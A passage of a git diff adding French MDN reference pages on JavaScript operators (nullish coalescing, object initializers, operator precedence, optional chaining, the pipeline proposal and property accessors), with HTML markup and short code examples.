Cependant, parce que || est un opérateur logique booléen, l'opérande de gauche a été converti en un booléen pour l'évaluation et aucune valeur falsy (0, '', NaN, null, undefined) n'a été renvoyée. Ce comportement peut entraîner des conséquences inattendues si on souhaite considérer 0, '' ou NaN comme des valeurs valides.

+ +
let compteur = 0;
+let texte = "";
+
+let qté = compteur || 42;
+let message = texte || "Coucou !";
+console.log(qté);     // 42 et non 0
+console.log(message); // "Coucou !" et non ""
+
+ +

L'opérateur de coalescence des nuls évite ce risque en ne renvoyant le deuxième opérande que lorsque le premier vaut null ou undefined (mais pas d'autres valeurs falsy) :

+ +
let monTexte = ''; // Un chaine vide (qui est donc une valeur falsy)
+
+let notFalsyText = monTexte || 'Hello world';
+console.log(notFalsyText); // Hello world
+
+let preservingFalsy = monTexte ?? 'Salut le voisin';
+console.log(preservingFalsy); // '' (car monTexte n'est ni null ni undefined)
+
+ +

Court-circuitage

+ +

À l'instar des opérateurs logiques OR (||) et AND (&&), l'expression de droite n'est pas évaluée si celle de gauche ne vaut ni null ni undefined.

+ +
function A() { console.log('A a été appelée'); return undefined; }
+function B() { console.log('B a été appelée'); return false; }
+function C() { console.log('C a été appelée'); return "toto"; }
+
+console.log( A() ?? C() );
+// Inscrit "A a été appelée" puis "C a été appelée" et enfin "toto"
+// puisque : A() retourne undefined, les deux expressions sont donc évaluées
+
+console.log( B() ?? C() );
+// Inscrit "B a été appelée" puis false
+// puisque : B() retourne false (et non null ou undefined) et
+// l'opérande de droite n'est pas évaluée
+
+ +

Pas de chaînage possible avec les opérateurs AND ou OR

+ +

Il n'est pas possible de combiner les opérateurs AND (&&) ou OR (||) directement avec l'opérateur de coalescence des nuls (??). Un tel cas lèverait une exception SyntaxError.

+ +
null || undefined ?? "toto"; // soulève une SyntaxError
+true || undefined ?? "toto"; // soulève une SyntaxError
+ +

Cependant, fournir des parenthèses pour indiquer explicitement la priorité est correct :

+ +
(null || undefined) ?? "toto"; // Renvoie "toto"
+
+ +

Relation avec l'opérateur de chaînage optionnel (?.)

+ +

Tout comme l'opérateur de coalescence des nuls, l'opérateur de chaînage optionnel (?.) traite les valeurs null et undefined comme des valeurs spécifiques. Ce qui permet d'accéder à une propriété d'un objet qui peut être null ou undefined.

+ +
let toto = { uneProprieteToto: "coucou" };
+
+console.log(toto.uneProprieteToto?.toUpperCase());  // "COUCOU"
+console.log(toto.uneProprieteTiti?.toUpperCase()); // undefined
+
+ +

Spécifications

+ + + + + + + + + + + + +
Spécification
{{SpecName('ESDraft', '#prod-Nulli', 'nullish coalescing expression')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.nullish_coalescing")}}

+ +

Progression de l'implantation

+ +

Le tableau suivant montre l'état quotidien de l'implantation de cette fonctionnalité car elle n'est pas encore stable entre les navigateurs. Les données sont générées en exécutant les contrôles de fonctionnalité appropriés décrits par Test262, la suite de contrôle normée de JavaScript, dans la version nightly ou la dernière version officielle de chaque moteur d'exécution de JavaScript des navigateurs.

+ +

{{EmbedTest262ReportResultsTable("coalesce-expression")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/object_initializer/index.html b/files/fr/web/javascript/reference/operators/object_initializer/index.html new file mode 100644 index 0000000000..6aa4d3121f --- /dev/null +++ b/files/fr/web/javascript/reference/operators/object_initializer/index.html @@ -0,0 +1,305 @@ +--- +title: Initialisateur d'objet +slug: Web/JavaScript/Reference/Opérateurs/Initialisateur_objet +tags: + - ECMAScript 2015 + - JavaScript + - Object + - Reference +translation_of: Web/JavaScript/Reference/Operators/Object_initializer +--- +
{{JsSidebar("Operators")}}
+ +

Il est possible d'initialiser un objet en utilisant les notations new Object(), Object.create(), ou grâce à un littéral (appelée initialisateur). Un initialisateur d'objet est une liste contenant plusieurs (éventuellement 0) propriétés, séparées par des virgules, et leurs valeurs associées, cette liste étant entourée d'accolades ({}).

+ +
{{EmbedInteractiveExample("pages/js/expressions-objectinitializer.html")}}
+ + + +

Syntaxe

+ +
var o = {};
+var o = { a: "toto", b: 42, c: {} };
+
+var a = "toto", b = 42, c = {};
+var o = { a: a, b: b, c: c };
+
+var o = {
+  property: function (paramètres) {},
+  get property() {},
+  set property(valeur) {}
+};
+
+ +

Nouvelles notations ECMAScript 2015 (ES6)

+ +

ECMAScript 2015 (ES6) introduit de nouvelles notations. Pour plus d'informations sur la compatibilité de ces notations avec les différents environnements, se référer au tableau de compatibilité ci-après.

+ +
// Raccourcis pour les noms de propriétés (ES2015)
+var a = "toto", b = 42, c = {};
+var o = { a, b, c };
+
+// Raccourcis pour les noms de méthodes(ES2015)
+var o = {
+  property(paramètres) {}
+};
+
+// Noms calculés pour les propriétés (ES2015)
+var prop = "toto";
+var o = {
+  [prop]: "hey",
+  ["tr" + "uc"]: "ho",
+};
+ +

Description

+ +

Un initialisateur d'objet est une expression qui permet de décrire l'initialisation d'un {{jsxref("Object")}}. Les objets sont constitués de propriétés qui permettent de les décrire. Les valeurs des propriétés d'un objet peuvent être construites à partir de types de données primitifs ou à partir d'autres objets.

+ +

Créer des objets

+ +

On peut créer un objet sans aucune propriété grâce à l'expression suivante :

+ +
var objet = {};
+ +

Cependant, en utilisant un littéral ou un initialisateur, on peut créer des objets disposant de propriétés rapidement. Il suffit d'inscrire une liste de clés-valeurs séparées par des virgules. Le fragment de code qui suit permet de créer un objet avec trois propriétés identifiées par les clés "toto", "âge" et "machin". Les valeurs respectives de ces différentes propriétés sont : la chaîne de caractères "truc", le nombre 42 et un autre objet.

+ +
var object = {
+  toto: 'truc',
+  âge: 42,
+  machin: { maProp: 12 },
+}
+ +

Accéder à des propriétés

+ +

Après la création d'un objet, vous pourrez avoir besoin de consulter ou de modifier ses propriétés. Il est possible d'accéder aux propriétés d'un objet en utilisant un point ou des crochets. Voir la page sur les accesseurs de propriétés pour plus d'information.

+ +
object.toto; // "truc"
+object['âge']; // 42
+
+object.toto = 'machin';
+
+ +

Définir des propriétés

+ +

On a déjà vu comment on pouvait utiliser la syntaxe de l'initialisateur pour définir des propriétés. Il arrive souvent de vouloir utiliser des variables comme propriétés d'un objet. C'est pourquoi on peut trouver le code suivant :

+ +
var a = 'toto',
+    b = 42,
+    c = {};
+
+var o = {
+  a: a,
+  b: b,
+  c: c
+};
+ +

Avec ECMAScript 2015 (ES6), on peut utiliser une notation plus courte pour un résultat égal :

+ +
var a = 'toto',
+    b = 42,
+    c = {};
+
+// Raccourcis sur les noms de propriétés (ES2015)
+var o = { a, b, c };
+
+// Autrement dit
+console.log((o.a === { a }.a)); // true
+
+ +

Les duplicatas et les noms de propriétés

+ +

Si le même nom est utilisé plusieurs fois pour différentes propriétés, ce sera la dernière propriété qui sera prise en compte :

+ +
var a = {x: 1, x: 2};
+console.log(a); // { x: 2}
+
+ +

Le mode strict d'ECMAScript 5 renvoyait une exception {{jsxref("SyntaxError")}} lorsque plusieurs propriétés avaient le même nom. ECMAScript 2015 (ES6) permettant de créer des propriétés avec des noms qui sont calculés à l'exécution, cette restriction a été retirée.

+ +
function vérifierSémantiqueES2015(){
+  'use strict';
+  try {
+    ({ prop: 1, prop: 2 });
+
+    // Aucune erreur, la sémantique en cours consiste à accepter les propriétés dupliquées
+    return true;
+  } catch (e) {
+    // Une erreur est renvoyée : les duplicatas sont interdits en mode strict
+    return false;
+  }
+}
+ +

Définitions de méthodes

+ +

Une propriété d'un objet peut être une function, un accesseur ou un mutateur :

+ +
var o = {
+  property: function (paramètres) {},
+  get property() {},
+  set property(valeur) {}
+};
+ +

Avec ECMAScript 2015 (ES6), une notation raccourcie permet de ne plus utiliser le mot-clé "function".

+ +
// Raccourci pour les noms de méthodes (ES2015)
+var o = {
+  property(paramètres) {},
+  *generator() {}
+};
+ +

Ou encore :

+ +
var o = {
+  *generator() {
+    ...
+  }
+};
+ +

En utilisant uniquement ECMAScript 5, on aurait écrit :

+ +

(Il n'y a pas de function génératrice en ECMAScript5, mais l'exemple permet de comprendre l'évolution de la syntaxe) :

+ +
var o = {
+  generator: function* (){}
+};
+
+ +

Pour plus d'informations et d'exemples sur les méthodes, voir la page concernant les définitions de méthode.

+ +

Noms de propriétés calculés

+ +

Avec ECMAScript 2015 (ES6), on peut utiliser un initialisateur et avoir des noms de propriétés qui soient calculés lors de l'exécution. Ainsi, en plaçant une expression entre crochets [], celle-ci sera calculée pour déterminer le nom de la propriété. Cette notation est la symétrique des crochets utilisés pour accéder aux propriétés. Il est désormais possible d'utiliser cette notation dans les littéraux objets :

+ +
// Calcul des noms de propriétés (ES2015)
+var i = 0;
+var a = {
+  ['toto' + ++i]: i,
+  ['toto' + ++i]: i,
+  ['toto' + ++i]: i
+};
+
+console.log(a.toto1); // 1
+console.log(a.toto2); // 2
+console.log(a.toto3); // 3
+
+var param = 'taille';
+var config = {
+  [param]: 12,
+  ['mobile' + param.charAt(0).toUpperCase() + param.slice(1)]: 4
+};
+
+console.log(config); // { taille: 12, mobileTaille: 4 }
+ +

Décomposition des propriétés

+ +

La proposition de la décomposition des propriétés à ECMAScript (au niveau 4, finalisée) vise à permettre la décomposition des propriétés dans les littéraux objets. Cela permet de copier les propriétés énumérables directes à partir d'un objet source vers un nouvel objet.

+ +

Le clonage superficiel (sans rattacher le prototype) ou la fusion d'objets pourra désormais être écrite de façon plus concise qu'avec {{jsxref("Object.assign()")}}.

+ +
var obj1 = { toto: 'truc', x: 42 };
+var obj2 = { toto: 'bidule', y: 13 };
+
+var clone = { ...obj1 };
+// Object { toto: 'truc', x: 42 }
+
+var fusion = { ...obj1, ...obj2 };
+// Object { toto: 'bidule', x: 42, y: 13 };
+
+ +

On notera que la méthode {{jsxref("Object.assign()")}} déclenche les mutateurs, ce qui n'est pas le cas de l'opérateur de décomposition.

+ +

Changement de prototype

+ +

Définir une propriété avec la syntaxe __proto__: valeur ou "__proto__": valeur ne permet pas de créer une propriété avec le nom __proto__. Si la valeur fournie est un objet ou est null, cela modifie le [[Prototype]] de l'objet. (Si la valeur fournie n'est pas un objet ou n'est pas null, l'objet ne sera pas modifié.)

+ +
var obj1 = {};
+assert(Object.getPrototypeOf(obj1) === Object.prototype);
+
+var obj2 = { __proto__: null };
+assert(Object.getPrototypeOf(obj2) === null);
+
+var protoObj = {};
+var obj3 = { '__proto__': protoObj };
+assert(Object.getPrototypeOf(obj3) === protoObj);
+
+var obj4 = { __proto__: "not an object or null" };
+assert(Object.getPrototypeOf(obj4) === Object.prototype);
+assert(!obj4.hasOwnProperty("__proto__"));
+
+ +

On ne peut modifier le prototype qu'une seule fois pour une même notation littérale. Toute tentative pour modifier le prototype plusieurs fois renverra une erreur de syntaxe.

+ +

Les définitions de propriétés qui n'utilisent pas les deux points ne permettent pas de modifier le prototype, elles définieront une propriété de façon classique.

+ +
var __proto__ = 'variable';
+
+var obj1 = { __proto__ };
+assert(Object.getPrototypeOf(obj1) === Object.prototype);
+assert(obj1.hasOwnProperty('__proto__'));
+assert(obj1.__proto__ === 'variable');
+
+var obj2 = { __proto__() { return 'hello'; } };
+assert(obj2.__proto__() === 'hello');
+
+var obj3 = { ['__prot' + 'o__']: 17 };
+assert(obj3.__proto__ === 17);
+
+ +

Notation littérale et JSON

+ +

La notation utilisant un littéral objet n'est pas identique à celle utilisée par la JavaScript Object Notation (JSON). Bien que ces notations se ressemblent, il existe certaines différences :

+ +
    +
  • JSON ne permet de définir des propriétés qu'en utilisant la syntaxe "propriété": valeur. Le nom de la propriété doit être entouré de double-quotes et la définition de la propriété ne peut pas être raccourcie.
    • +
  • En JSON les valeurs ne peuvent être uniquement que des chaînes de caractères, des nombres, des tableaux, true, false, null, ou tout autre objet (JSON).
    • +
  • Une valeur de fonction (voir le paragraphe "Méthodes" ci-avant) ne peut pas être affectée comme valeur en JSON.
    • +
  • Les objets {{jsxref("Date")}} seront convertis en chaînes de caractères avec {{jsxref("JSON.parse()")}}.
    • +
  • {{jsxref("JSON.parse()")}} rejètera les noms de propriétés calculés et renverra une erreur dans ce cas.
    • +
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}{{Spec2('ES5.1')}}Ajout des getter et setter (accesseur/mutateur).
{{SpecName('ES2015', '#sec-object-initializer', 'Object Initializer')}}{{Spec2('ES2015')}}Ajout des raccourcis pour les noms de méthodes et propriétés et des noms de propriétés calculés.
{{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.object_initializer")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/operator_precedence/index.html b/files/fr/web/javascript/reference/operators/operator_precedence/index.html new file mode 100644 index 0000000000..1aac441b77 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/operator_precedence/index.html @@ -0,0 +1,359 @@ +--- +title: Précédence des opérateurs +slug: Web/JavaScript/Reference/Opérateurs/Précédence_des_opérateurs +tags: + - JavaScript + - Opérateur + - Reference + - precedence +translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence +--- +
{{jsSidebar("Operators")}}
+ +

La précédence des opérateurs détermine l'ordre dans lequel les opérateurs sont évalués. Les opérateurs avec la plus haute précédence sont évalués en premier.

+ +

Ainsi, l'opérateur de multiplication (« * ») (ayant une précédence plus haute que l'opérateur d'addition (« + »)) est évalué en premier et l'expression 6 * 4 + 2 renverra 26 (et pas 36).

+ +
{{EmbedInteractiveExample("pages/js/expressions-operatorprecedence.html")}}
+ + + +

Associativité

+ +

L'associativité détermine l'ordre dans lequel des opérateurs de même précédence sont évalués. Par exemple, considérons l'expression suivante :

+ +
a OP b OP c
+
+ +

Une associativité de gauche (gauche à droite) signifie qu'elle est évaluée comme (a OP b) OP c, tandis qu'une associativité de droite (droite à gauche) signifie qu'elle est interprétée comme a OP (b OP c). Les opérateurs d'affectation sont associatifs de droite, on peut donc écrire :

+ +
a = b = 5;
+
+ +

avec le résultat attendu que a et b obtiennent la même valeur de 5. C'est parce que l'opérateur d'affectation retourne la valeur qu'il affecte. D'abord, b est défini à la valeur 5. Ensuite, a est défini avec la valeur renvoyée par b = 5 qui est 5.

+ +

Exemples

+ +
3 > 2 && 2 > 1
+// renvoie true
+
+3 > 2 > 1
+// renvoie false car 3 > 2 vaut true et que true > 1 vaut false
+// En ajoutant des parenthèses, on y voit plus clair (3 > 2) > 1
+
+ +

Tableau

+ +

Le tableau suivant est classé de la plus haute (0) à la plus basse (19) précédence.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PrécédenceType d'opérateurAssociativitéOpérateurs individuels
0GroupementNon applicable( … )
1Accès à un membreGauche à droite… . …
Accès à un membre calculéGauche à droite… [ … ]
new (avec une liste d'arguments)Non applicablenew … ( … )
Appel de fonctionGauche à droite… ( … )
Chaînage optionnelGauche à droite?.
2new (sans liste d'arguments)Droite à gauchenew …
3Incrémentation suffixeNon applicable… ++
Décrémentation suffixeNon applicable… --
4NON logiqueDroite à gauche! …
NON binaireDroite à gauche~ …
Plus unaireDroite à gauche+ …
Négation unaireDroite à gauche- …
Incrémentation préfixeDroite à gauche++ …
Décrémentation préfixeDroite à gauche-- …
typeofDroite à gauchetypeof …
voidDroite à gauchevoid …
deleteDroite à gauchedelete …
awaitDroite à gaucheawait …
5ExponentiationDroite à gauche… ** …
MultiplicationGauche à droite… * …
DivisionGauche à droite… / …
ResteGauche à droite… % …
6AdditionGauche à droite… + …
SoustractionGauche à droite… - …
7Décalage binaire à gaucheGauche à droite… << …
Décalage binaire à droiteGauche à droite… >> …
Décalage binaire à droite non-signéGauche à droite… >>> …
8Inférieur strictGauche à droite… < …
Inférieur ou égalGauche à droite… <= …
Supérieur strictGauche à droite… > …
Supérieur ou égalGauche à droite… >= …
inGauche à droite… in …
instanceofGauche à droite… instanceof …
9Égalité faibleGauche à droite… == …
Inégalité faibleGauche à droite… != …
Égalité stricteGauche à droite… === …
Inégalité stricteGauche à droite… !== …
10ET binaireGauche à droite… & …
11OU exclusif (XOR) binaireGauche à droite… ^ …
12OU binaireGauche à droite… | …
13ET logiqueGauche à droite… && …
14OU logiqueGauche à droite… || …
15Opérateur conditionnel ternaireDroite à gauche… ? … : …
16AffectationDroite à gauche… = …
… += …
… -= …
… *= …
… /= …
… **= …
… %= …
… <<= …
… >>= …
… >>>= …
… &= …
… ^= …
… |= …
17yieldDroite à gaucheyield …
yield*Droite à gaucheyield* …
18DécompositionNon applicable... …
19VirguleGauche à droite… , …
diff --git a/files/fr/web/javascript/reference/operators/optional_chaining/index.html b/files/fr/web/javascript/reference/operators/optional_chaining/index.html new file mode 100644 index 0000000000..9885b6d8ca --- /dev/null +++ b/files/fr/web/javascript/reference/operators/optional_chaining/index.html @@ -0,0 +1,196 @@ +--- +title: Chaînage optionnel (optional chaining) +slug: Web/JavaScript/Reference/Opérateurs/Optional_chaining +tags: + - Chaînage + - Chaînage optionnel + - Coalescence + - JavaScript + - Operator + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators/Optional_chaining +--- +
{{jsSidebar("Operators")}}
+ +

L'opérateur de chaînage optionnel ?. permet de lire la valeur d'une propriété située profondément dans une chaîne d'objets connectés sans avoir à valider expressément que chaque référence dans la chaîne est valide. L'opérateur ?. fonctionne de manière similaire à l'opérateur de chaînage ., à ceci près qu'au lieu de causer une erreur si une référence est {{jsxref("null")}} ou {{jsxref("undefined")}}, l'expression se court-circuite avec undefined pour valeur de retour. Quand il est utilisé avec des appels de fonctions, il retourne undefined si la fonction donnée n'existe pas.

+ +

Ceci résulte en des expressions plus courtes et plus simples lors de l'accès à des propriétés chaînées quand il est possible qu'une référence soit manquante. Ceci peut aussi être utile lors de l'exploration du contenu d'un objet lorsqu'il n'y a aucune garantie concernant les propriétés qui sont requises.

+ +

Le chainage optionnel ne peut pas être utilisé sur un objet initialement inexistant. Il ne remplace les vérifications du type if (typeof a == "undefined").

+ +

{{EmbedInteractiveExample("pages/js/expressions-optionalchainingoperator.html")}}

+ + + +

Syntaxe

+ +
obj?.prop
+obj?.[expr]
+arr?.[index]
+func?.(args)
+
+ +

Description

+ +

L'opérateur de chaînage optionnel fournit un moyen de simplifier l'accès aux valeurs au sein d'objets connectés quand il est possible qu'une référence ou une fonction soit undefined ou null.

+ +

Par exemple, considérant un objet obj qui a une structure imbriquée. Sans chaînage optionnel, chercher une sous-propriété imbriquée en profondeur requiert de valider les références intermédiaires, tel que :

+ +
let nestedProp = obj.premier && obj.premier.second;
+ +

La valeur de obj.premier est confirmée comme n'étant pas null (ni undefined) avant que d'accéder à la valeur de obj.premier.second. Ceci prévient l'erreur qui pourrait survenir si vous accédiez simplement obj.premier.second directement sans vérifier obj.premier.

+ +

Avec l'opérateur de chaînage optionnel (?.), vous n'avez pas besoin de vérifier explicitement et de court-circuiter la vérification selon l'état de obj.premier avant que d'accéder à obj.premier.second :

+ +
let nestedProp = obj.premier?.second;
+ +

En utilisant l'opérateur ?. au lieu de l'opérateur ., JavaScript sait implicitement qu'il doit vérifier obj.premier pour être certain qu'il ne soit null ou undefined avant que de tenter d'accéder à obj.first.second. Si obj.premier est null ou undefined, l'expression se court-circuite automatiquement et retourne undefined.

+ +

C'est équivalent à : 

+ +
let temp = obj.premier;
+let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.second);
+
+ +

Chaînage optionnel avec des appels de fonctions

+ +

Vous pouvez utiliser le chaînage optionnel lorsque vous tentez d'appeler une méthode qui pourrait ne pas exister. Ceci peut être une aide précieuse, par exemple, lorsque vous utilisez une API dans laquelle une méthode pourrait être indisponible, à cause d'une implantation datée ou à cause d'une fonctionnalité qui n'est pas disponible sur l'appareil de l'utilisateur.

+ +

Utiliser le chaînage optionnel avec les appels de fonction entraîne le retour automatique de la valeur undefined pour l'expression plutôt que de jeter une exception si la méthode n'est pas trouvée :

+ +
let result = uneInterface.uneMéthode?.();
+ +
+

Note : S'il est une propriété qui porte ce nom et qui n'est pas une fonction, utiliser ?. jètera aussi une exception {{jsxref("TypeError")}} (x.y is not a function).

+
+ +

Réaliser des fonctions de rappel optionnelles ou des écouteurs d'évènements

+ +

Si vous utilisez des fonctions ou des méthodes de recherche depuis un objet avec une affectation par décomposition, vous pourriez avoir des valeurs inexistantes que vous ne pouvez appeler comme fonction à moins que vous ayez vérifié leur existance. En utilisant ?., vous pourriez vous passer de cette vérification supplémentaire :

+ +
// ES2019
+function doSomething(onContent, onError) {
+  try {
+    // ... faire quelque chose avec les données
+  }
+  catch (err) {
+    if (onError) { // vérifier que onError existe réellement
+      onError(err.message);
+    }
+  }
+}
+
+ +
// Utiliser le chaînage optionnel avec les appels de fonctions
+function doSomething(onContent, onError) {
+  try {
+   // ... faire quelque chose avec les données
+  }
+  catch (err) {
+    onError?.(err.message); // pas d'exception si onError n'est pas défini
+  }
+}
+
+ +

Chaînage optionnel avec les expressions

+ +

Vous pouvez aussi utiliser l'opérateur de chaînage optionnel lorsque vous accédez aux propriétés avec une expression en utilisant la notation avec crochets des accesseurs de propriétés :

+ +
let nestedProp = obj?.['propName'];
+
+ +

Chaînage optionnel invalide depuis le côté gauche d'une affectation

+ +
let objet = {};
+objet?.propriété = 1; // Uncaught SyntaxError: Invalid left-hand side in assignment
+ +

Accès aux éléments de tableau avec le chaînage optionnel

+ +
let élément = arr?.[42];
+ +

Exemples

+ +

Exemple basique

+ +

Cet exemple cherche la valeur de la propriété name dans un objet stocké comme propriété de nom bar d'un objet Map alors que cet objet bar n'existe pas. Le résultat est donc undefined.

+ +
let monMap = new Map();
+monMap.set("foo", {name: "baz", desc: "inga"});
+
+let nameBar = monMap.get("bar")?.name;
+ +

Court-circuiter une évaluation

+ +

Lorsque vous utilisez le chaînage optionnel avec une expression, si l'opérande gauche est null ou undefined, l'expression ne sera par évaluée. Par exemple :

+ +
let objetPotentiellementNul = null;
+let x = 0;
+let prop = objetPotentiellementNul?.[x++];
+
+console.log(x); // 0 car x n'a pas été incrémenté
+
+ +

Empiler les opérateurs de chaînage optionnel

+ +

Avec les structures imbriquées, il est possible d'utiliser le chaînage optionnel plusieurs fois :

+ +
let client = {
+  nom: "Carl",
+  details: {
+    age: 82,
+    localisation: "Paradise Falls"
+    // adresse détaillée inconnue
+  }
+};
+let villeDuClient = client.details?.adresse?.ville;
+
+// … cela fonctionne aussi avec le chaînage optionnel sur les appels de fonction
+let durée = vacations.trip?.getTime?.();
+
+ +

Combinaison avec l'opérateur de coalescence des nuls (Nullish coalescing operator)

+ +

L'{{JSxRef("Opérateurs/Nullish_coalescing_operator", "Opérateur de coalescence des nuls (Nullish coalescing operator)", '', 1)}} peut être utilisé après un chaînage optionnel afin de construire une valeur par défaut quand aucune n'a été trouvée :

+ +
let client = {
+  nom: "Carl",
+  details: { age: 82 }
+};
+const villeDuClient = client?.ville ?? "Ville Inconnue";
+console.log(villeDuClient); // Ville inconnue
+ +

Spécifications

+ + + + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#prod-OptionalExpression', 'optional expression')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.operators.optional_chaining")}}

+ +

Progression de l'implantation

+ +

Le tableau suivant montre l'état quotidien de l'implantation de cette fonctionnalité car elle n'est pas encore stable entre les navigateurs. Les données sont générées en exécutant les contrôles de fonctionnalité appropriés décrits par Test262, la suite de contrôle normée de JavaScript, dans la version nightly ou la dernière version officielle de chaque moteur d'exécution de JavaScript des navigateurs.

+ +

{{EmbedTest262ReportResultsTable("optional-chaining")}}

+
+ +

Voir aussi

+ +
    +
  • {{JSxRef("Operators/Nullish_Coalescing_Operator", "Opérateur de coalescence des nuls (Nullish coalescing operator)", '', 1)}}
    • +
diff --git a/files/fr/web/javascript/reference/operators/pipeline_operator/index.html b/files/fr/web/javascript/reference/operators/pipeline_operator/index.html new file mode 100644 index 0000000000..2763987971 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/pipeline_operator/index.html @@ -0,0 +1,72 @@ +--- +title: Tube +slug: Web/JavaScript/Reference/Opérateurs/Tube +tags: + - Experimental + - JavaScript + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator +--- +
{{jsSidebar("Operators")}} {{SeeCompatTable}}
+ +

L'opérateur expérimental tube (ou pipeline en anglais) |> (actuellement au niveau 1 des propositions) permet de créer des chaînes d'appel de fonctions de façon lisible. En fait, cet opérateur fournit un sucre syntaxique pour les appels de fonction avec un seul argument. On pourrait donc écrire :

+ +
let url = "%21%" |> decodeURI;
+ +

qui correspond exactement à :

+ +
let url = decodeURI("%21%");
+ +

Syntaxe

+ +
expression |> function
+ +

La valeur de expression est passé à function comme unique paramètre.

+ +

Exemples

+ +

Enchaîner des appels de fonction

+ +

L'opérateur tube peut améliorer la lisibilité lorsqu'on enchaîne plusieurs fonctions.

+ +
const doubler = (n) => n * 2;
+const incrementer = (n) => n + 1;
+
+// Sans l'opérateur tube
+doubler(incrementer(doubler(10))); // 42
+
+// Avec l'opérateur tube
+10 |> doubler |> incrementer |> doubler; // 42
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Brouillon de spécification pour la proposition de l'opérateur tubeNiveau 1Ne fait actuellement pas partie de la spécification ECMAScript.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.pipeline")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/property_accessors/index.html b/files/fr/web/javascript/reference/operators/property_accessors/index.html new file mode 100644 index 0000000000..e78aae110d --- /dev/null +++ b/files/fr/web/javascript/reference/operators/property_accessors/index.html @@ -0,0 +1,154 @@ +--- +title: Accesseurs de propriétés +slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres +tags: + - JavaScript + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators/Property_Accessors +--- +
{{jsSidebar("Operators")}}
+ +

Les accesseurs de propriété permettent de fournir un accès aux propriétés d'un objet en utilisant une notation avec un point ou une notation avec des crochets

+ +
{{EmbedInteractiveExample("pages/js/expressions-propertyaccessors.html")}}
+ + + +

Syntaxe

+ +
objet.propriété
+objet["propriété"]
+
+ +

Description

+ +

Les objets peuvent être vus comme des tableaux associatifs (map, dictionnaires, table de hachage, annuaire, etc.). Les clés (keys) de ce tableau sont les noms des propriétés de l'objet. Lorsqu'on parle d'objets, on fait généralement une distinction entre les propriétés et les méthodes. En réalité cette différence est plus dûe à une convention qu'à une réelle distinction. En effet, une méthode est simplement une propriété qu'on peut appeler (sa valeur fera souvent référence à une instance de {{jsxref("Function")}}).

+ +

Il existe deux façons d'accéder aux propriétés d'un objet : la notation avec point et la notation avec crochets.

+ +

Notation avec point

+ +
obtenir = objet.propriété;
+objet.propriété = définir;
+
+ +

propriété doit être un identifiant JavaScript valide, c'est-à-dire une séquence de caractères alphanumériques, soulignés (« _ ») et signes dollar (« $ »), qui ne peut commencer par un nombre. Par exemple, objet.$1 est valide, mais objet.1 ne l'est pas.

+ +
document.createElement('pre');
+
+ +

Ici, la méthode createElement est obtenue depuis l'objet document et est appelée.

+ +

Si on utilise une méthode pour un littéral numérique et que celui-ci ne possède pas de point décimal ni d'exposant lié à la notation scientifique, il faudra laisser un ou plusieurs blancs afin que l'appel soit bien interprété comme un appel de méthode plutôt que comme un séparateur décimal :

+ +
77 .toExponential();
+// ou
+77
+.toExponential();
+// ou, mieux pour la lisibilité
+(77).toExponential();
+// ou encore
+77.0.toExponential();
+// 77. correspond à 77.0 et là il n'y a aucun doute
+
+ +

Notation avec crochets

+ +
obtenir = objet[nom_de_propriété];
+objet[nom_de_propriété] = définir;
+
+ +

nom_de_propriété est une chaîne de caractères ou un {{jsxref("Symbol","symbole","","")}}. Elle n'a pas besoin d'être un identifiant valide ; elle peut avoir n'importe quelle valeur, par exemple "1foo", "!bar!" ou même " " (une espace).

+ +

Exemple

+ +
document['createElement']('pre');
+
+ +

Cette ligne fait exactement la même chose que l'exemple précédent.

+ +

Noms de propriétés

+ +

Les noms de propriétés doivent être des chaînes de caractères ou des symboles. Cela signifie que les autres types d'objet ne peuvent pas être utilisés comme clés d'un objet. Tout autre type d'objet, même un nombre, sera converti en une chaîne via sa méthode toString.

+ +

Exemples

+ +
var objet = {};
+objet['1'] = 'valeur';
+console.log(objet[1]);
+
+ +

Ceci affichera « valeur », étant donné que le nombre 1 sera converti en une chaîne "1".

+ +
var toto = {propriété_unique : 1}, truc = {propriété_unique : 2}, objet = {};
+objet[toto] = 'valeur';
+console.log(objet[truc]);
+
+ +

Ce code affichera également « valeur », étant donné que toto et truc seront convertis en la même chaîne de caractères. Dans le cas du moteur JavaScript SpiderMonkey, cette chaîne serait "['object Object']".

+ +

Liaison de méthodes

+ +

Une méthode n'est pas liée à l'objet dont elle est une méthode. En particulier, this n'est pas défini dans une méthode, c'est-à-dire que this ne fait pas nécessairement référence à un objet contenant la méthode. En réalité, this est « passé » par l'appel de la fonction.

+ +

Pour plus d'informations, consultez la page sur l'opérateur this et les liaisons de méthodes.

+ +

Note concernant eval

+ +

